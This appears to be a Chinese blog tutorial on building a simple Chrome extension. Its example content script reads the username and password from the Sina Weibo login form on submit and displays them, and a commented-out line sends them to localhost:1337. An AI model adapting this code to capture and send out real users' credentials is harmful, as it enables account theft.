哇塞，原来自己写 Google Chrome 浏览器扩展（插件）这么容易！

1. 首先新建一个记事本，命名为 manifest.json，这是写 Google Chrome 浏览器扩展必须的文件

{
  "manifest_version": 2,

  "name": "Account Detect",
  "description": "This extension will detect your account",
  "version": "1.0",

  "permissions": [
    "http://*/*"
  ],
  "browser_action": {
    "default_icon": "icon.png"
  },
  "content_scripts": [
    {
      "matches": ["http://*/*"],
      "js": ["jquery-1.4.4.min.js", "myscript_v0.0.1.js"]

    }
  ]
}

2. 新建一个 myscript_v0.0.1.js 文件，这个是主文件，就是你写扩展的主要目的。比如我下面这个是弹出新浪微博登录页面中的用户名和密码。

$(document).ready(function()
{
//    $("body").click(function()
//    {
//        alert("this is it - acount detect");
//    });
    $("span[node-type='submitStates']").click(function(event)
    {
        var username = $('input[name="username"]').val();
        var passwords = $('input[name="password"]').val();

        // var query = '?username=' + username + '&' + 'passwords=' + passwords;
        // $.get('http://localhost:1337' + query, function() {});

        alert(username + ':' + passwords);
    });
});

3. 随便找一个 icon.png ，用作扩展的图标，下面有它出现的位置。

4. 打开浏览器，加载扩展。

5. 打开新浪微博的首页登录页（http://weibo.com）

6. 成功弹出。

截图如下：

需要准备的文件：

加载 Chrome 扩展的截图：

运行截图：

查考自：http://www.cnblogs.com/heqichang/p/3189775.html

谢谢浏览！